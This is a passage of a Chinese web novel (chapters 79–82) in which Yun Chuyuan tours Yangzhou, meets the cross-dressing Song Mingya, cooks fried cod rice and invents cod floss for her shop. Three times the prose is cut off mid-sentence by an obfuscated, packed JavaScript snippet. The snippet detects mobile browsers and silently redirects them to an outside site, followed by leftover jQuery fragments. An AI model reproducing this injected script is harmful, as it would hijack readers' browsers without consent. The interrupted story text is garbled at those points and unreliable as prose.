众人看着眼前温馨的一幕,心中百感交集,同样是面对稚童,裴县令的态度和老县令截然不同,这才是名副其实、一心为民的好官。 79. 风流韵事 “哇,阿姐,这扬州城好大呀。”云楚河趴在马车的窗户上探头看向外面的街道。 和他头挨着头挤在一块的云楚清早就被琳琅满目的糖画摊吸引住了,“对啊,还有好多小贩呢,阿姐,我想下去看看。” 云楚沅经不住两人的央求,带着他们下了马车,“阿昱,你先去州署报道吧,我待会带他们回小院安顿好了再去找你。” “好,让青竹跟着你们吧。”掀着帘子的裴昱臣温和地笑了笑,与他们挥手告别。 看着渐行渐远的马车,青竹忍不住傻乐,他现在都快成云姑娘的贴身小厮了。 不过伺候云姑娘他心甘情愿啊,这可是他们裴家未来的当家主母,自然是要上心的。 天知道,当青竹从自家大人口中听说他和云姑娘好上之后,兴奋地绕着院子跑了两圈。 谢天谢地,裴大人表明心意了!谢天谢地,云姑娘答应了! 青竹不清楚他们两人还有试用期,在他眼里那就是自家大人守得云开见月明、抱得美人归,老夫人若泉下有知,定会欣慰。 “走吧,上回来我都没好好逛逛这扬州城,如今我牵挂之人都跟着来了,那肯定要好好玩一玩喽。” 云楚沅笑弯了眼,一蹦一跳地向前走去,牵着小弟和小妹的两只手前后摆动起来,就像个还没长大的孩子。 从街头到街尾,云楚沅把小吃都尝了个遍,还买了一些小玩意,跟在后面的青竹累得不行,他怀里的东西都快抱不住了。 “云姑娘,咱们都逛了半天了,要不要去旁边的茶肆歇一歇?”青竹挤出一个讨好的笑,他的两条腿都开始打颤了,原谅他实在是撑不住了,他就没见过比云姑娘还能买的人。 云楚沅看出他的勉强,便点头同意了,“嘿嘿,幸苦你啦青竹,你有想要的东西吗?我可以送你。” 唉,没办法,财富自由的女人就是这么任性,想买什么就买什么,完全不需要看别人的眼色。 青竹摇了摇头:“云姑娘,我不需要什么,只要你和裴大人高兴,我就满足了。” 言下之意,云姑娘你都想着给我买礼物,那可不要忘了裴大人呀! 云楚沅完全没有领会到他的暗示,先一步走进了茶楼,“小二,二楼有空位吗?” “有有有,姑娘您快里面请。” 云楚沅坐在二楼,一边享用着糕点,一边听楼下的说书人讲故事。 “今儿个要给各位讲个真人真事,大伙儿都听说了吧,咱们扬州城即将上任的知州大人,乃是协助严指挥使解决杜青岩勾结倭寇一案的大功臣,一举从小县令升迁至扬州知州,可谓是风头无两啊。”摇着扇子的中年男子嗓音浑厚,说话抑扬顿挫,一下便抓住了众人的注意力。 “阿姐,那个人好像在说裴大哥欸。”云楚河拽了拽云楚沅的衣袖。 云楚沅来了兴趣,想不到裴昱臣这还没正式上任呢,扬州先有了关于他的传闻,也不知是好话还是坏话,她可要竖起耳朵来好好听听。 说书人双手放在桌案上,身子前倾,眯着眼说道:“你们可知这位裴大人是何许人也?” 台下有观众不耐烦地开口:“快别卖关子了。” 说书人这才直起身子,捋着胡须说:“他便是今年的新科状元,裴昱臣。这位裴状元文武双全,是京城中响当当的人物。” 茶客们窃窃私语起来。 “原来是他呀,略有耳闻。” “兄台,这位裴知州可是那位因拒绝姚丞相拉拢而被排挤的状元郎?” “正是此人!君子之风,令人折服,我倒想与他结交一番。” “哼,姚敬荣这个乱臣贼子,把控朝堂,让我们这些寒门子弟无法出人头地,真该被诛杀!” “嘘!小兄弟,小心隔墙有耳啊。” 说书人见底下众人讨论得热火朝天,适时开口:“诸位,咱们今日要讲的,便是这位裴状元的风流韵事。” 拿着茶杯准备饮茶的云楚沅眉头一跳。 “富商老爷们听说裴知州要上任后,那可是摩拳擦掌想要攀上关系,咱们扬州城近些日子各种赏花宴、品酒宴应接不暇。”说书人的眼神里满是意味深长,仿佛他亲自去参加了一样。 “嘿,我说怎么最近几日总听说王家小姐和李家小姐又做了啥行善积德的好事,原来是在这等着呢!” “王家和李家可一直是水火不容,也不知道这回他们谁会更胜一筹。” “要我说呀,他们都白搭,宋家会眼睁睁看着他们和知州结姻吗?” “对呀,虽说宋小姐性子太跳脱,可宋老爷早就放话了,会拿出半数家产给宋小姐做嫁妆,这谁不心动啊!” “咚!”云楚沅放下茶杯撇了撇嘴,想不到啊,来到江南裴昱臣竟然成了香饽饽,引得各家小姐争抢,但是他们的如意算盘怕是打错了,这个男人可是有主的! “切,谁会喜欢一个迂腐书生啊。” 角落里传来一句小声的嘟囔,云楚沅浑身一僵,她差点以为这人是在说她呢。随即她又反应过来,自己只在心里想,可没有说出来。 云楚沅悄悄转回头去,想看看是不是遇见熟人了,结果与靠坐在墙边的人对上了视线。 那人梳着高发髻,剑眉犹如两道墨痕,添了几分英气,虽说是一副清俊少年郎的打扮,但以云楚沅的经验来看,这绝对是个女扮男装的姑娘呀! 再结合方才这人说的话,云楚沅不难猜出她的身份,她便是宋家小姐。 云楚沅好奇地多看了两眼,她和宋明轩还有宋老爷长得都不太像,宋小姐的五官偏柔和,脸上还带着点婴儿肥,看起来年纪不大。 宋小姐在与云楚沅对视的瞬间眼神一亮,整理了一下衣摆后,起身朝她走了过来,径直在云楚沅身旁坐下,“这位美人姐姐,不知我可否知晓你的芳名?” “咳咳咳!”云楚沅万万没想到她会被女子搭讪,这宋小姐女扮男装,难不成是和她兄长一样,男女荤素不忌? “姐姐你不要误会,我不是什么登徒子,我只是觉得你沉鱼落雁、闭月羞花,想与你交个朋友。”宋小姐靠近了些,“我叫宋明雅,姐姐你呢?” 云楚沅看着这姑娘眼睛闪闪发亮,紧紧盯着她的脸,云楚沅多少有些明白了,合着这位宋小姐是个颜控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157412|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊! “我叫云楚沅。” 宋明雅不动声色地又靠近了一点,笑着说道:“云姐姐,你还没用午膳吧,可否赏脸让我请你?” 云楚沅想到自己和裴昱臣约好要一起用午膳,便拒绝了她的邀请,“抱歉,我与人有约了,不能和你一同用饭。” 宋明雅满脸遗憾,小声嘀咕道:“美人怎么都这么难约?” 云楚沅瞧着时辰差不多了,于是吩咐青竹去结账。 站在茶肆的门口,云楚沅对宋明雅挥了挥手,“不用送了,想必我们很快会再见的,宋小姐。” “你……你怎么知道?”宋明雅突然瞪大眼,愣愣地注视着云楚沅转身离开的背影,隐约想起兄长近日总是提到“云记”,难不成这姑娘是那云记的小姐? —— 马车停在州署的后门,云楚沅一下马车便看到等在门外的裴昱臣。 “阿沅,我估摸着你快回来了,便出来接你,你猜我今日碰上谁了?”裴昱臣接过云楚沅手里提着的糕点,与她并肩往门内走去。 云楚沅冷哼一声:“哼,我哪里知道你能遇见谁,怕是王家或是李家的小姐吧。” 裴昱臣脚下步伐一顿,瞟了一眼后面的青竹,见他不停对他使眼色,心里猜测自己怕是有哪里惹这位小祖宗不高兴了。 “阿沅,是谁惹你生气了,你告诉我,我去帮你教训他。” 云楚沅突然停下,转身看向裴昱臣,伸出手指使劲点了点他的胸膛,“除了你这个招蜂引蝶的家伙,还能有谁?” 裴昱臣抬手抓住在他胸前乱点的小手,轻轻捏了捏,“你可别冤枉我,除了你,我再没招惹过别的女子。” 云楚沅余光瞄到小弟和小妹捂嘴偷笑的模样,一把甩开裴昱臣拉着她的手,转身快步离开,嘴里在不停数落着裴昱臣,“不正经的小书生,大庭广众之下就动手动脚!” “阿沅,你去哪?” 听着身后裴昱臣疑惑不解的喊声,云楚沅越走越快,“不要你管!” 刚拐了个弯,低着头走路的云楚沅便差点撞到人。 “抱歉抱歉。”云楚沅一边道歉,一边抬头看去,眼前之人有点眼熟,好像是在临海县见过的裴昱臣的师兄。 “阿沅,你没事吧。”跟上来的裴昱臣握住云楚沅的胳膊,上下打量着她,完全没把另一个人放在眼里。 云楚沅嘟着嘴嗔怒道:“都怪你,你追我做什么?” “是是是,都是我的错。”裴昱臣举起云楚沅的手,怕打了两下自己的胸膛,脸上带着宠溺的笑,“好啦,别生气了。虽然不知道你听到了什么闲言碎语,但我对你的心意,日月可鉴。” 见他们两个旁若无人地亲昵,孟合舟忍不住出声调侃:“哟,这还是我那位不近女色的师弟吗?瞧着倒像是个油嘴滑舌的纨绔。” 云楚沅这才反应过来还有外人在呢,她一把推开裴昱臣,面带笑意地向孟合舟行了一礼,“见过孟大人。” 孟合舟点了点头:“弟妹啊,不必多礼。” 裴昱臣轻咳一声:“师兄,你这声弟妹叫的有些早了,我还没有名分呢。” 80. 炸鱼排滑蛋盖饭 云楚沅侧目,这小书生还挺心机,当着她的面说这话,不就是想提醒她还没给他正式的名分嘛。 说好的三个月就是三个月,她可不会因为心软提前结束试用期,免得小书生觉得她好说话,以后恃宠而骄。 孟合舟的眼神在裴昱臣和云楚沅的身上来回游移,心想,就你俩这焦不离孟、孟不离焦的样子,怎么可能没有情谊。 “孟大人想必还未用午膳吧,稍等片刻,我去做。”说罢,云楚沅便让旁边站着的丫鬟给她带路。 裴昱臣见云楚沅要走了都没再看他一眼,连忙开口:“阿沅,你做菜辛苦,我来帮你。” “裴大人的手是用来写字的,怎么能干灶房里的粗活呢?”云楚沅虽然脸上维持着冷漠的表情,其实内心已经快憋不住笑了。 裴昱臣正色道:“你都能做的事,我为何做不了?阿沅,我并非为了哄你做做样子,只要你吩咐,我什么事都愿意为你做。” 他不像那些被封建思想浸淫而觉得自己家庭地位崇高的男子那样,理所应当地认为女子就该操持家务。 相反,与母亲相依为命的经历让裴昱臣更能体会到女子的不易,既然想和云楚沅携手共度余生,他绝对会尊重她。 原本这个各方面比较优秀的男人在云楚沅心里能打个八十分,这态度一摆出来,她给他的评分又加了五分。 不错,小书生有眼色,还会体贴人,确实是云楚沅心目中另一半的模样。 “这可是你说的啊,以后你什么都得听我的。”云楚沅这才露出了一点笑。 见她展颜,裴昱臣松了口气,他还记得小时候隔壁住的一对夫妻天天为了鸡毛蒜皮的小事吵架,他母亲就告诫他长大娶妻后不能如此。 男子在外强势一点没什么,但回到家不能再端着架子。夫妻争吵,逞一时的口舌之快是畅快了,可这样会将对方越推越远,直至离心。 有时候谦让一些也没什么不好,妻子是用来爱护的,又不是娶了个仇人,干嘛一定要分个高低。 在见过京中因为妻妾之事闹得家里鸡犬不宁的官员后,裴昱臣对此深信不疑,并且他坚定了一个想法,要不就不娶妻,娶的话只娶心意相通之人。 裴昱臣看着身前女子摇头晃脑、洋溢着喜悦的背影,他被她感染了情绪,嘴角也扬起了一抹笑。 跟在云楚沅的身后走进了膳房,裴昱臣直奔桌子旁的木桶而去,“阿沅,你的鱼在这儿呢。” 他们清晨路过码头时正好有船只停靠,那是从福州来的货船,运来了一大批活鱼,云楚沅瞧见了便派人去买了一桶鳕鱼。 “可惜临海县到江南没有水路,不然靠卖活海鲜,临海县也能发达,现在我们只能做成海鲜制品售卖。” “沿海的县城有不少,可你的海鲜制品独一无二。” 裴昱臣帮着云楚沅一起杀鱼,刮鳞去内脏后,他将鳕鱼切成大小均匀的鱼排,雪白的鱼肉躺在桌案上,纹理清晰可见,散发着淡淡的大海气息。 “阿沅,你准备做什么好吃的?” 云楚沅磕了三个鸡蛋打散,加入面粉和淀粉调制面糊,“我要做一道你没吃过的美食。” 裴昱臣被勾起了好奇心:“那我可很期待了。” 当油温达到恰到好处的时候,云楚沅将裹好面糊的鳕鱼排轻轻放入锅中。 刹那间,油花四溅,滋啦作响,鳕鱼排在热油中翻滚,表面的面糊逐渐变成金黄色。 云楚沅将炸至金黄酥脆的鳕鱼排捞出控油,用刀将其切成两半,只听到“咔嚓”一声脆响,炸鱼排露出了里面白嫩的肉质。 “尝尝味道如何。”云楚沅拿起一块烫手的鱼排吹了吹,递到裴昱臣的嘴边亲自投喂他。 裴昱臣眸光微闪,细长的睫毛轻轻颤动,脸上泛起淡淡的红晕,从脸颊一路蔓延至耳尖。 犹豫了一瞬,裴昱臣没有拒绝,他张开薄唇,咬下一小块鱼肉,喉结随着吞咽的动作上下滚动,“好……好吃。” 云楚沅把剩下的半块扔进了自己的嘴里,大口咀嚼,她可不像小书生这般吃相斯文,“嗯,腌制鱼排加的盐和胡椒粉正合适,味道不咸不淡。” 裴昱臣呼吸一滞,羞涩地低下头,她……她怎么能吃他剩下的东西。 云楚沅丝毫没有察觉到裴昱臣的不自在,她向来不介意与别人分享美食,所以没觉得与他吃同一块鱼有什么不对。 “你去把蒸好的米饭盛出来,我要做炸鱼排滑蛋盖饭了。”云楚沅一边指使裴昱臣,一边起锅烧油。 中小火快速将鸡蛋滑熟,铺在白米饭上,再将切成小块的炸鱼排放上去,最后淋上用酱油、蚝油、糖、淀粉水熬成的调料汁,撒上葱花做装饰。 “当当当当,大功告成了!”云楚沅双手捧起盘子,在裴昱臣眼前晃了一圈,“怎么样,我们两个做出来的炸鱼排滑蛋盖饭如何?” 嫩黄色的滑蛋如同流动的金沙包裹着米饭,金灿灿的鱼排上覆盖着浓郁的酱汁,就这色泽已经非常诱人,更别说闻起来香喷喷的。 “你做的肯定好吃。”裴昱臣笑着说道,他将剩下的几份盖饭装进托盘里端了起来,“走吧,我们去后院与师兄还有小弟小妹一起吃。” 膳房里的下人在瞧见新来的裴知州和一名女子亲昵地走近来时,早就识趣地退下了。 他们暗自心惊,想不到这位新任知州已经有娘子了,而且两人看起来感情甚笃。 这消息要是传出去,外头那些盼望着和裴大人结亲的人怕是要捶胸顿足了。 —— “哟,想不到我有生之年还能吃上师弟你亲自做的饭,就连师父他老人家都还没有这个待遇吧。” 孟合舟双掌放在膝盖上,附身端详着面前的炸鱼排滑蛋盖饭,啧啧称奇。 这两回每次见到裴师弟,孟合舟都要惊叹一遍他的变化之大,清冷自矜的状元郎下厨,如同不食人间烟火的神仙下凡,今非昔比啊。 裴昱臣没给怪声怪气的师兄眼神,而是将剩下的两份饭端给云楚河和云楚清,笑容温和地叮嘱:“小心烫。” 孟合舟翻了个白眼,得,他成外人了。 两大两小宛如一家人般凑在一起说悄悄话,孟合舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163836|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他们格格不入,他撇了撇嘴,拿起勺子舀了一大勺滑蛋塞进嘴里。 鸡蛋的醇厚香味充斥了满嘴,蛋黄的绵软与蛋白的嫩滑完美结合,如同丝绸般滑过喉咙。 孟合舟当把鱼排、滑蛋和米饭一起送入口中,咀嚼间,三种不同的口感和味道相互碰撞、相互交融,鱼排的酥脆、滑蛋的软嫩、米饭的香糯交织在一起,配合得恰到好处。 一勺接着一勺,孟合舟根本停不下来,直到盘子里的盖饭见底,他才意犹未尽地打了个饱嗝。 巨大的嗝声打断了裴昱臣的言笑晏晏,他给了孟合舟一个鄙夷的眼神,仿佛在谴责他的粗俗。 孟合舟吃完了饭,依旧死皮懒脸地坐在椅子上,故意碍裴昱臣的眼。 “云姑娘,我这师弟啊,虽说冷心冷情,话少又不会讨女子欢心,还时不时顶撞我这位师兄,但他人好啊,嫁给他没错的。” 裴昱臣咬了咬后槽牙,他怀疑孟师兄就是专拆他台的,这些话哪里是夸赞,分明是在说他的不是。 云楚沅瞄了两眼裴昱臣难看的脸色,笑眯眯地开口:“巧了,我平日里话很多,就想找个闷葫芦过日子,阿昱和我互补。” 裴昱臣的脸色一下子晴朗了,他得意地看了一眼孟合舟,“师兄,你没遇上过心仪之人,体会不了我们情投意合的心情。” 孟合舟的脸瞬间黑了,这人真是哪壶不开提哪壶! 云楚沅一瞧他们师兄弟的眉眼官司,就知道这里面有大八卦,她竖着耳朵凑近裴昱臣,小声问道:“什么事啊,说与我听听。” 裴昱臣丝毫没有为师兄保守秘密的意思,他贴近云楚沅的耳畔,一股脑地将孟合舟的事抖落个干净。 原来孟合舟早年被家里安排婚事娶了个门当户对的小姐,结果那女子早有了情郎,两人在婚后依旧藕断丝连,甚至还珠胎暗结,让他一度成了京城的笑柄。 “后来呢,后来那对偷情的男女怎么样了?”云楚沅好奇地追问。 “那名男子早有妻室,可孩子不能不要,于是就把那名女子纳为妾了。”裴昱臣的音量一点都没压低,完全不怕戳到师兄的痛楚。 这也是为何孟合舟不愿回京做官,他怕见了那对狗男女,忍不住提刀。 云楚沅打量了一眼孟合舟,虽然他不修边幅,但从他的眉眼间依稀能看出年轻时也是位风度翩翩的公子哥,可惜啊,摊上了这么一桩糟心事。 “旧的不去,新的不来。孟大哥,你别难过,以后你定会遇上更好的女子。”云楚沅实在是想不通,为啥有人宁愿上赶着做妾,也不愿和孟合舟这样的大好青年好好过日子,孟合舟有才有貌,肯定会有人欣赏他的。 孟合舟苦笑道:“看缘分吧,其实我一个人也挺好的。”这些年也有不少女子向他示好,可他就是迈不过心里头那道坎,怕再一次识人不清,踏进了火坑。 裴昱臣慢悠悠地开口:“师兄,我不能继续遵守与你一起孤独终老的约定了,师弟我诚心祝愿你早日遇到良人。” 看见他这副嘴脸,孟合舟心里就烦闷不已,他一甩衣袖起身离开了。 81. 鳕鱼肉松 云楚沅看着孟合舟愤而离席的背影,歪了歪脑袋,疑惑道:“你师兄怎么了?” “大抵是发现只有他一个人没人要,伤心难过了吧。”裴昱臣淡定地吃了一口滑蛋盖饭。 云楚沅恍然大悟,原来孟合舟是因为师弟有了对象,他没有,心里不平衡了。 “你一跃成了知州,而你师兄还是通判,他心里会不会不舒服啊。”云楚沅又想到了一种可能,师兄比师弟官职低,很容易产生矛盾吧。 “不会的,师兄他不会放在心上。” 裴昱臣并不觉得他这位缺心眼的师兄会因为此事心生龃龉,再者孟合舟曾多次有机会升官回京,是他自己不愿回去罢了。 看来他们师兄弟二人关系很好,云楚沅不再多嘴,转而催促小弟和小妹吃完饭就赶快回去休息,这州署后宅裴昱臣同样为他们留了三间房。 休憩过后,云楚沅乘马车来到了海味坊,还未下车,便已听闻店内人声鼎沸。 云楚沅踏进铺子,只见一楼挤满了形形色色的人,吆喝声、讨价还价声、陶罐碰撞声此起彼伏。 身着粗布短褐的寻常百姓,质朴的脸上带着急切的神情,手中攥着钱袋,眼睛紧紧盯着货架上一排排酱料罐,心里盘算着实惠装能便宜多少钱。 头戴方巾的文人墨客,站在零食区来回扫视,不时与同伴低语交流,探讨着哪种小零食适合在读书闲暇品尝。 除此之外,还有大户人家的仆从,受主人差遣前来采买干货,他们穿梭于货架之间,按照清单逐一挑选。 铺子里的伙计们个个忙得脚不沾地,额头上豆大的汗珠滚落下来,浸湿了胸前的衣衫,他们一边回答客人的问题,一边手脚麻利地称重包扎,动作熟练。 “东家,新到的那批鳕鱼都放进后院的大缸里了。”马掌柜恭恭敬敬地赢了上来。 云楚沅打量了一圈,暗暗点头,不愧是宋记培养出来的人才,铺子被打理得井井有条。 酱料、零食、干货都划分了区域挂上牌子,还有摆放在最显眼的位置的优惠装,吸引人们驻足。 “马掌柜,看样子我不在的这段时日店里生意很好呀。”云楚沅走向后院,这里已经被改造成了加工坊,有不少匠人正忙忙碌碌地干活。 江南地区四通八达,来自五湖四海的商人会来这里做生意,只靠从临海县运来的货已经不够卖的了,云记这家海味坊不单单售货,还兼顾生产各种海鲜制品。 “东家,您让人送来的鱼罐头都已经上架了,反响很好,虽说其他酱料销量降了点,但盈利并未减少,还缓解了库存告急的问题。” “那就好,也算是无心插柳柳成荫了。江南的铺子刚开,我本来没想这么快推出新品的,奈何天公不作美,令收获的原材料大打折扣,只好另寻他法。” 塞翁失马,焉知非福。 云楚沅这一回算是有惊无险地解决了台风带来的后遗症,不仅按时交了货,还多了不少新产品的订单。 “东家,不知您定这么多鳕鱼做什么?” “趁热打铁,我既已到了江南,便打算继续研究新产品。”云楚沅指挥着匠人们开始处理鳕鱼,“这次我打算做一款鱼肉松,老者和孩童都适合食用。” 鳕鱼洗净后放进大锅里,加入姜片、葱段和清水,大火煮开后转小火慢炖。 水汽升腾,淡淡的鱼肉味混合着姜葱香气在院子里氤氲开来,锅中紧实的鳕鱼肉逐渐变软,用筷子轻轻一戳便能轻易分开。 待鳕鱼块彻底熟透,云楚沅把它们全部捞出,沥干水分,放在通风处晾凉。 接下来,便是要将鱼肉撕开,这一步比较麻烦,后院所有的伙计都参与了进来,跟着云楚沅一块做。 云楚沅提醒众人,要顺着鱼肉纤维的走向一点点撕成大小均匀的细丝,每一根都要尽可能细,这样做出来的成品才会更加蓬松。 没过一会儿,案板上就堆满了白色的鱼肉丝。 待热锅中的油温升至七成热时,云楚沅将一盆盆鱼肉丝全倒入锅中,肉丝在热油中跳跃翻滚,云楚沅用铲子不停地翻炒搅拌,让每一根肉丝都能充分受热,释放出多余的水分。 鱼肉丝渐渐泛起金黄的光泽,浓郁的鱼香混合着油香弥漫开来,随着水分的不断蒸发,收缩的肉丝变得越来越干燥。 “真神奇啊,以前我只知道鱼能蒸、能煮、能炸,我还是头一回看见还有这样的做法。” “这鱼肉失了水分能好吃吗?” “我看够呛,鱼肉吃的就是它的鲜嫩多汁,东家弄成这种又干又柴的东西,怕是难以下咽。” “虽说咱们云记的产品都很好吃,但这个新产品我看是悬了。” 伙计们嘀嘀咕咕说的话,并没有逃过云楚沅的耳朵,但她不会浪费口舌去解释,等肉松做好了,他们就知道是好是坏了,她敢打赌,没人能逃得过真香定律。 当鱼肉丝颜色变成淡黄且质感变得酥脆时,云楚沅开始调味了,她往锅中加入适量的盐、糖、酱油和蚝油等调味料翻炒均匀。 盐提升咸鲜,糖带来回甘,酱油增添酱香,蚝油使其味道更加浓郁醇厚,在高温的作用下,所有味道渗透进每一根肉丝中。 最后用小火慢慢烘干肉松中剩余的水汽,使其变得蓬松柔软、丝丝分明,做好的鳕鱼肉松色泽金黄诱人,似棉絮般蓬松,散发出一股甜香。 “马掌柜,你来尝尝吧。” 其他人在闻到空气里的香味时,全都闭上了嘴,望眼欲穿地盯着云楚沅手里端着的肉松,但云楚沅把他们全给无视了,谁叫这些家伙刚开始不看好她的! 倒是马掌柜很有眼力见,全程都没出声,静静看着云楚沅有条不紊地制作肉松。 “多谢东家。”马掌柜拱手行礼,双手接过装着肉松的碟子,用手指取一小撮放入口中细细品尝。 这鱼肉松口感酥脆、咸甜适中,恰到好处地衬托出了鳕鱼本身的味道鲜美。 “这鳕鱼肉松与鳕鱼片不相上下,都是极佳的零食,而且这肉松没有鱼刺,很适合给孩童吃。” 云楚沅笑着说道:“鱼肉松不仅能当作零食直接食用,还可以搭配米饭做成美味的饭团。”说罢,她取来一小碗米饭和一碟海苔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170334|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洗净双手,云楚沅蘸一点清水防粘,取一团温热的米饭放在掌心按压,往中间加入些许金黄肉松,将其搓成一个圆滚滚的小球。 接着拿一片海苔覆盖在饭团上,用手稍稍按压边缘,让海苔与米饭紧密贴合,如同为其披上了一件墨绿色外衣。 “哟,这么热闹,怎得都围在后院?” 一道熟悉的声音传来,云楚沅抬头望去,宋明轩迈着悠闲的步子走了进来,他的身后还跟着一位圆脸姑娘。 “云姐姐,我们又见面啦!”那姑娘如同乳燕归巢一般张开双臂朝云楚沅扑了过来。 “宋小姐,你慢点。”云楚沅勉强稳住身形,将宋明雅从自己身上扯了下来,这丫头还真是热情啊,把她撞得胸口疼。 宋明雅蹭了蹭云楚沅的胳膊,眨巴着眼睛说道:“云姐姐,别叫我宋小姐,多生分呀,你叫我雅雅就好。” 走过来的宋明轩用手中的折扇敲了敲妹妹的头,“你这丫头,别缠着云姑娘了。” “不嘛,我就要和云姐姐待在一块。”宋明雅朝自己兄长翻了个白眼,紧紧挽住云楚沅的手臂,仿佛他是个想要拆散她们的坏人。 宋明轩扶了扶额头,因妹妹从小便没了娘,他和爹爹对她多加疼爱,从未管束过她,结果把这丫头养得无法无天、任性妄为。 “云妹,你多包涵,这丫头不知道从哪儿学来的爱看美人的毛病,成日里没个正形。”宋明轩管不了妹妹,只好向云楚沅道歉。 他时常庆幸自己妹妹不是男儿身,否则的话他会更头疼,她这样子活脱脱就是个好色的纨绔。 云楚沅摇头笑了笑:“无妨,明雅活泼可爱,我也喜欢和她做朋友。” 不就是颜控吗,谁不是呀,只不过云楚沅不像宋明雅这般外露,她只会偷偷欣赏,比如,从各个角度欣赏自家那位完美无缺的小书生。 “略略略!”宋明雅朝宋明轩做了个鬼脸,“臭哥哥,听到了没,云姐姐乐意陪我玩。” “切,人家不过是客套话罢了,这你也当真?”宋明轩身为兄长,没有一点儿要让着自家妹妹的意思,嘲讽起她来毫不留情,“敢问宋小姐,你有什么朋友呀?” 宋明雅气的小脸通红,她向来不愿和那些大家闺秀一块玩,她们嘲笑她粗俗不堪、没有女儿家的样子,而宋明雅同样看不上她们的惺惺作态。 眼瞧着这对斗嘴的兄妹要吵起来了,云楚沅化身和事佬,主动转移了话题,“明雅,宋大哥,你们来得正巧,我刚做出来了一款新吃食,你们来尝尝。” 云楚沅一手端起肉松,一手端起饭团,递到了他们两个面前。 宋明雅和宋明轩被盘中金丝一样的东西吸引了注意,两人用筷子夹起来尝了下,对这样新奇吃食来了兴趣。 “哇,甜滋滋的,我爱吃!”宋明雅又拿起肉松饭团啃了起来,“嗯,包进米饭里也好吃。” 宋明轩好奇地用筷子挑了挑盘子里的肉松,凑近了细细观察,“云妹,这东西是用什么做的?我怎么尝不出来。” “你猜猜看。”云楚沅特意卖了个关子。 82. 赏花宴 伙计们正在收拾地上的鱼鳞,宋明轩不用猜就知道了,“这么蓬松的东西竟然是用鱼肉做的?” 宋明轩眼神讶异地盯着盘子里的金丝,实在无法将眼前的吃食和往日里吃到的嫩鱼肉联系在一起。 云楚沅瞧他没见过世面的样子,乐得不行,“怎么样?世上也有你宋少爷没见过的美食吧,这叫肉松。” 见微知著,看着这一碟小小的肉松,宋明轩便看出了它能带来的巨大利益,猪肉、鸡肉、兔肉、羊肉等其他肉同样可以去除水分做成肉松,便于携带还易保存。 当宋明轩提出想要合作卖肉松时,云楚沅笑弯了眼,“宋大哥好眼光,这买卖绝对能赚银子。” 嘴角沾着点金丝的宋明雅抬起头来,两眼放光,“云姐姐,我也帮你做肉松的生意。” 云楚沅用手绢为她抹去嘴角的碎屑,拍了拍她的小脑袋,饶有兴趣地问道:“你待如何帮我?” 宋明雅一拍手,笑嘻嘻地说:“云姐姐,这吃食外表蓬松,味道混合了油脂香、肉香,还有淡淡的甜味,绝对会受富家小姐的欢迎,咱们可以办个宴会请她们来品尝。” 宋明轩漫不经心把玩折扇的手一顿,眉峰随之高高挑起,他这位懒得交际的妹妹竟然主动提出要举办宴会邀请别人,还真是稀奇。 “哟,这太阳打西边出来了?你不是向来厌恶和那些贵妇人和小姐们打交道吗?” 宋明雅柳眉倒竖,斜睨了一眼自家兄长,“我乐意为云姐姐费心,你管得着吗?” 云楚沅听了宋明雅的话,心中一暖,走上前去抱住了这个可爱的小姑娘,语气里满是欣喜,“明雅,我太喜欢你了!到宴会那日我亲自下厨为你做几样糕点。” 一股淡淡的馨香在宋明雅的鼻尖萦绕,她的心跳瞬间漏了几拍,脸颊以肉眼可见的速度迅速变红。 宋明雅呆呆地看着云楚沅,喃喃道:“云姐姐,你好香呀。” “噗嗤!”宋明轩被自家妹妹这副见到美人走不动道的样子给逗笑了,“宋明雅,你能不能有点出息,擦擦你的涎水吧。” 宋明雅下意识地摸了摸嘴角,发现什么都没有,她恼羞成怒地打了兄长两拳,“叫你耍我,叫你耍我!” 云楚沅笑着看他们围着院子一个跑一个追,心里对宋明雅承诺的宴会期待不已。 —— 宋家举办赏花宴,扬州城的富贵人家都会给面子,而且还是由宋家那位不着调的小姐举办的宴会,众人更是好奇了,都想知道这位平日里不安分的宋小姐葫芦里卖的什么药。 十一月二十,云楚沅早早等在州署后门,等着宋家的马车来接她。 虽说她和小弟小妹有住处,可经不住裴昱臣的软言相劝,他们仍像在临海县那样住在同一个屋檐下,时常一块用膳。 他们来到江南时虽已入冬,可这里气候好,植被尚未完全凋零,仍有绿意。 可最近几日是愈发的冷了,小弟没再去私塾念书,小妹也窝在房中跟着绣娘学习女红,很少出门。 云楚沅站在门口跺了跺脚,哈出热气搓着双手,以此来缓解身上的寒意。 “让你多穿点,你偏是不听。” 身后传来熟悉的男声,接着她的肩上被披上了一件棉袍,云楚沅回头对上了裴昱臣充满关切的眼神。 